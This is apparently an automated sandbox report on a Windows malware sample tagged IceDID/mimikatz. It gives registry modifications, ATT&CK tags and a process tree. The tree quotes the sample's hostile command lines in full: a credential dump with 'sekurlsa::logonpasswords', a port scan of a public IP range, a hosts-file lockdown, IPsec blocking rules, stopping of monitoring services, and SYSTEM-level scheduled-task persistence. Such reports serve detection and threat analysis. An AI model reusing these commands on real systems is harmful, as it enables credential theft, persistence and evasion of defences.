Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jztlttt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jztlttt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mapkiilyu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ditzew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bgjptbtki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1948	cmd.exe
2092	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023416-5.dat	nsis_installer_2
behavioral2/files/0x000800000002342d-15.dat	nsis_installer_1
behavioral2/files/0x000800000002342d-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	jztlttt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	jztlttt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	jztlttt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	jztlttt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	jztlttt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	jztlttt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	kugnlttml.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	kugnlttml.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	kugnlttml.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	jztlttt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	jztlttt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	jztlttt.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2092	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1804	schtasks.exe
1000	schtasks.exe
3420	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	5040	jztlttt.exe
Token: SeDebugPrivilege	3372	jztlttt.exe
Token: SeDebugPrivilege	2712	vfshost.exe
Token: SeDebugPrivilege	2240	kugnlttml.exe
Token: SeLockMemoryPrivilege	3388	ulniel.exe
Token: SeLockMemoryPrivilege	3388	ulniel.exe
Token: SeDebugPrivilege	2320	kugnlttml.exe
Token: SeDebugPrivilege	4572	kugnlttml.exe
Token: SeDebugPrivilege	3976	kugnlttml.exe
Token: SeDebugPrivilege	2004	kugnlttml.exe
Token: SeDebugPrivilege	3776	kugnlttml.exe
Token: SeDebugPrivilege	4424	kugnlttml.exe
Token: SeDebugPrivilege	3084	kugnlttml.exe
Token: SeDebugPrivilege	1148	kugnlttml.exe
Token: SeDebugPrivilege	4808	kugnlttml.exe
Token: SeDebugPrivilege	2956	kugnlttml.exe
Token: SeDebugPrivilege	1824	kugnlttml.exe
Token: SeDebugPrivilege	3200	kugnlttml.exe
Token: SeDebugPrivilege	2324	kugnlttml.exe
Token: SeDebugPrivilege	1156	kugnlttml.exe
Token: SeDebugPrivilege	1776	kugnlttml.exe
Token: SeDebugPrivilege	4468	kugnlttml.exe
Token: SeDebugPrivilege	1648	kugnlttml.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
5040	jztlttt.exe
5040	jztlttt.exe
3372	jztlttt.exe
3372	jztlttt.exe
3132	xohudmc.exe
1512	ditzew.exe
5028	jztlttt.exe
5028	jztlttt.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 632 wrote to memory of 1948	632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe	82
PID 632 wrote to memory of 1948	632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe	82
PID 632 wrote to memory of 1948	632	2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe	82
PID 1948 wrote to memory of 2092	1948	cmd.exe	84
PID 1948 wrote to memory of 2092	1948	cmd.exe	84
PID 1948 wrote to memory of 2092	1948	cmd.exe	84
PID 1948 wrote to memory of 5040	1948	cmd.exe	85
PID 1948 wrote to memory of 5040	1948	cmd.exe	85
PID 1948 wrote to memory of 5040	1948	cmd.exe	85
PID 3372 wrote to memory of 4876	3372	jztlttt.exe	87
PID 3372 wrote to memory of 4876	3372	jztlttt.exe	87
PID 3372 wrote to memory of 4876	3372	jztlttt.exe	87
PID 4876 wrote to memory of 3116	4876	cmd.exe	89
PID 4876 wrote to memory of 3116	4876	cmd.exe	89
PID 4876 wrote to memory of 3116	4876	cmd.exe	89
PID 4876 wrote to memory of 4452	4876	cmd.exe	90
PID 4876 wrote to memory of 4452	4876	cmd.exe	90
PID 4876 wrote to memory of 4452	4876	cmd.exe	90
PID 4876 wrote to memory of 5020	4876	cmd.exe	91
PID 4876 wrote to memory of 5020	4876	cmd.exe	91
PID 4876 wrote to memory of 5020	4876	cmd.exe	91
PID 4876 wrote to memory of 4848	4876	cmd.exe	92
PID 4876 wrote to memory of 4848	4876	cmd.exe	92
PID 4876 wrote to memory of 4848	4876	cmd.exe	92
PID 4876 wrote to memory of 3696	4876	cmd.exe	93
PID 4876 wrote to memory of 3696	4876	cmd.exe	93
PID 4876 wrote to memory of 3696	4876	cmd.exe	93
PID 4876 wrote to memory of 3172	4876	cmd.exe	94
PID 4876 wrote to memory of 3172	4876	cmd.exe	94
PID 4876 wrote to memory of 3172	4876	cmd.exe	94
PID 3372 wrote to memory of 592	3372	jztlttt.exe	102
PID 3372 wrote to memory of 592	3372	jztlttt.exe	102
PID 3372 wrote to memory of 592	3372	jztlttt.exe	102
PID 3372 wrote to memory of 3824	3372	jztlttt.exe	104
PID 3372 wrote to memory of 3824	3372	jztlttt.exe	104
PID 3372 wrote to memory of 3824	3372	jztlttt.exe	104
PID 3372 wrote to memory of 2240	3372	jztlttt.exe	106
PID 3372 wrote to memory of 2240	3372	jztlttt.exe	106
PID 3372 wrote to memory of 2240	3372	jztlttt.exe	106
PID 3372 wrote to memory of 392	3372	jztlttt.exe	110
PID 3372 wrote to memory of 392	3372	jztlttt.exe	110
PID 3372 wrote to memory of 392	3372	jztlttt.exe	110
PID 392 wrote to memory of 5112	392	cmd.exe	112
PID 392 wrote to memory of 5112	392	cmd.exe	112
PID 392 wrote to memory of 5112	392	cmd.exe	112
PID 5112 wrote to memory of 1236	5112	wpcap.exe	113
PID 5112 wrote to memory of 1236	5112	wpcap.exe	113
PID 5112 wrote to memory of 1236	5112	wpcap.exe	113
PID 1236 wrote to memory of 3452	1236	net.exe	115
PID 1236 wrote to memory of 3452	1236	net.exe	115
PID 1236 wrote to memory of 3452	1236	net.exe	115
PID 5112 wrote to memory of 1872	5112	wpcap.exe	116
PID 5112 wrote to memory of 1872	5112	wpcap.exe	116
PID 5112 wrote to memory of 1872	5112	wpcap.exe	116
PID 1872 wrote to memory of 4548	1872	net.exe	118
PID 1872 wrote to memory of 4548	1872	net.exe	118
PID 1872 wrote to memory of 4548	1872	net.exe	118
PID 5112 wrote to memory of 2160	5112	wpcap.exe	119
PID 5112 wrote to memory of 2160	5112	wpcap.exe	119
PID 5112 wrote to memory of 2160	5112	wpcap.exe	119
PID 2160 wrote to memory of 4188	2160	net.exe	121
PID 2160 wrote to memory of 4188	2160	net.exe	121
PID 2160 wrote to memory of 4188	2160	net.exe	121
PID 5112 wrote to memory of 4988	5112	wpcap.exe	122

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1656
- C:\Windows\TEMP\pulgntakv\ulniel.exe
  "C:\Windows\TEMP\pulgntakv\ulniel.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3388

C:\Users\Admin\AppData\Local\Temp\2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-02_9e5acc38320127d871ba1a6ba4324723_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:632
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\unlujiui\jztlttt.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2092
- - C:\Windows\unlujiui\jztlttt.exe
    C:\Windows\unlujiui\jztlttt.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:5040

C:\Windows\unlujiui\jztlttt.exe
C:\Windows\unlujiui\jztlttt.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3116
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5020
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3696
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:3172
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:592
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3824
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cfitjigik\gliijiivv\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:392
- - C:\Windows\cfitjigik\gliijiivv\wpcap.exe
    C:\Windows\cfitjigik\gliijiivv\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1236
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:3452
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1872
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:4548
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2160
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4188
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4988
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3416
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2960
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3788
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1244
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cfitjigik\gliijiivv\bgjptbtki.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\cfitjigik\gliijiivv\Scant.txt
  2⤵
  PID:4708
- - C:\Windows\cfitjigik\gliijiivv\bgjptbtki.exe
    C:\Windows\cfitjigik\gliijiivv\bgjptbtki.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\cfitjigik\gliijiivv\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\cfitjigik\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\cfitjigik\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  PID:1428
- - C:\Windows\cfitjigik\Corporate\vfshost.exe
    C:\Windows\cfitjigik\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "inlujmbkl" /ru system /tr "cmd /c C:\Windows\ime\jztlttt.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "inlujmbkl" /ru system /tr "cmd /c C:\Windows\ime\jztlttt.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1000
- C:\Windows\SysWOW64\cmd.exe
